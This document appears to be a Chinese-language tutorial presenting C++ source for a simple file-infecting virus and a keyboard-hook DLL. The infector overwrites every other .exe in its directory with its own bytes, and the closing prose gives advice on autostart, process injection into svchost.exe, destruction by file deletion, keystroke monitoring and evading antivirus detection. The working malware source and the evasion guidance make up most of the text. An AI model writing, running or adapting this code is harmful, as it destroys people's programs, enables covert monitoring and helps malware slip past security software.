#include <iostream>
#include <windows.h>
#include <errno.h>
using namespace std;
HMODULE g_hModule = NULL;
// 感染同目錄下的exe
void Infection()
{
// 把自己打開,準備感染
char szFullFileName[MAX_PATH] = "";
GetModuleFileName(NULL, szFullFileName, sizeof(szFullFileName) / sizeof(char));
char szFileName[64] = "";
const char *pChr = strrchr(szFullFileName, '\\');
if (!pChr)
{
return ;
}
strcpy_s(szFileName, sizeof(szFileName), pChr + 1);
FILE *pSelfFile = NULL;
errno_t err = fopen_s(&pSelfFile, szFullFileName, "rb");
if (err)
{
cerr << err << endl;
return ;
}
fseek(pSelfFile, 0, SEEK_END);
int nMySize = ftell(pSelfFile);
fseek(pSelfFile, 0, SEEK_SET);
// 把自己讀入內存
char *pszMySelf = new char[nMySize];
if (!pszMySelf)
{
fclose(pSelfFile);
return ;
}
memset(pszMySelf, 0, nMySize);
fread(pszMySelf, nMySize / 10, 10, pSelfFile);
// 取當前目錄,準備搜索
char szDir[MAX_PATH] = "";
GetCurrentDirectory(sizeof(szDir) / sizeof(char), szDir);
char szSearchFile[MAX_PATH] = "";
strcpy_s(szSearchFile, sizeof(szSearchFile), szDir);
strcat_s(szSearchFile, sizeof(szSearchFile), "\\*");
WIN32_FIND_DATA fd;
memset(&fd, 0, sizeof(WIN32_FIND_DATA));
HANDLE hFile = FindFirstFile(szSearchFile, &fd);
if (hFile == INVALID_HANDLE_VALUE)
{
cerr << GetLastError() << endl;
fclose(pSelfFile);
return ;
}
// 循環讀取exe文件,開始感染
while(TRUE)
{
if (FALSE == FindNextFile(hFile, &fd))
{
break;
}
if (strcmp(fd.cFileName, szFileName) == 0)
{
continue ;
}
if (strstr(fd.cFileName, ".exe") != NULL)
{
char szDstFileFullPath[MAX_PATH] = "";
strcpy_s(szDstFileFullPath, sizeof(szDstFileFullPath), szDir);
strcat_s(szDstFileFullPath, sizeof(szDstFileFullPath), "\\");
strcat_s(szDstFileFullPath, sizeof(szDstFileFullPath), fd.cFileName);
FILE *pFile = NULL;
fopen_s(&pFile, szDstFileFullPath, "r+b");
fseek(pFile, 0, SEEK_SET);
fwrite(pszMySelf, nMySize / 10, 10, pFile);
fclose(pFile);
cout << "已感染文件:" << szDstFileFullPath << endl;
}
else
{
// remove(fd.cFileName);
}
}
fclose(pSelfFile);
delete []pszMySelf;
}
void CreateKeyboardHook()
{
g_hModule = LoadLibrary("Hook.dll");
if (!g_hModule)
{
return ;
}
typedef void (*HookFunc)();
HookFunc myHookFunc = (HookFunc)GetProcAddress(g_hModule, "SetHook");
if (!myHookFunc)
{
FreeLibrary(g_hModule);
return ;
}
myHookFunc();
}
int main()
{
Infection();
CreateKeyboardHook();
system("pause");
typedef void (*UnHookFunc)();
UnHookFunc unHookFunc = (UnHookFunc)GetProcAddress(g_hModule, "UnHook");
if (!unHookFunc)
{
FreeLibrary(g_hModule);
return 1;
}
unHookFunc();
FreeLibrary(g_hModule);
return 0;
}
#include <windows.h>
extern "C" _declspec(dllexport) void SetHook();
extern "C" _declspec(dllexport) void UnHook();
HHOOK g_KeyBoardHook = NULL;
LRESULT CALLBACK KeyBoardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
if (49 == wParam)
{
wParam = 50;
::MessageBox(NULL, "你按了A,我幫你改成B", "關掉吧", MB_OK);
return CallNextHookEx(g_KeyBoardHook, nCode, wParam, lParam);
}
else if (0 == wParam)
{
UnhookWindowsHookEx(g_KeyBoardHook);
}
return 1;
}
void SetHook()
{
g_KeyBoardHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardHook, GetModuleHandle("Hook"), 0);
}
void UnHook()
{
UnhookWindowsHookEx(g_KeyBoardHook);
}
以上兩個程序只是爲了說明病毒的原理,其實,這隻算是一段惡意的代碼,第一段代碼是主程序,編譯成exe,第二段代碼是dll文件,先編譯一下dll文件,把lib文件放到主程序運行目錄下,把dll文件放到病毒程序運行目錄下,就可以了
1、病毒若想要自動運行,很簡單,只要把我們的exe放入開始菜單的啓動項就可以了,每次開機都會自動運行,如果高級點的話,就注入到別的進程裏去吧,如svchost.exe,具體實現,下次有時間再講解。
2、病毒感染,這是個很簡單的過程,就是打開目標文件,把病毒文件一個字節一個字節的讀出來,然後寫入到目標文件,這樣,目標文件就擁有與病毒文件相同的功能,也就是,如果目標是*.exe文件,那麼,目標文件運行後也會跟源病毒文件做相同的事
3、病毒破壞作用,這個也很簡單,想破壞個東西還不容易嗎,刪除文件就屬於破壞行爲了。如果想監控客戶機,就安裝個鉤子吧,就像上面的代碼一樣,安裝了個鍵盤鉤子。
4、現在的計算機都安裝有殺毒軟件,想要入侵怎麼辦?最簡單的辦法,就是寫個簡單的破壞軟件(這種軟件殺毒軟件不會報,殺毒軟件是個苦差啊,有些是不能報的),就像上面的那兩段代碼,去掉鉤子,殺毒軟件就不會報了,接下來,就是簡單的破壞了,只要不是寫註冊表,不安裝鉤子,不自動運行,殺軟一般都不會報,當然,這也是去了病毒程序最好玩的地方